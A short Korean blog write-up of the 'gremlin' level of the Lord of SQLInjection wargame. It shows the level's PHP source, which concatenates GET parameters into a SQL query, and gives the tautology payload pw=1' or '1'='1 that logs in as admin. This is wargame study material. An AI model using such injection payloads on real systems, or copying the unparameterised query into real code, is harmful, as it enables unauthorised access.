반응형

LORD OF SQLINJECTION

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr

 

gremlin

 

1
2
3
4
5
6
7
8
9
10
11
12
13
 
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>
cs

 

if($result['id']) solve("gremlin");

 

id만 찾아내면 문제가 풀린다.

 

id를 admin으로 두고, pw을 무조건 참이되도록 pw='1' or '1'='1'로 만들면 된다.

 

 

쿼리에 아래와 같이 입력하면 된다.

id=admin&pw=1' or '1'='1

반응형

+ Recent posts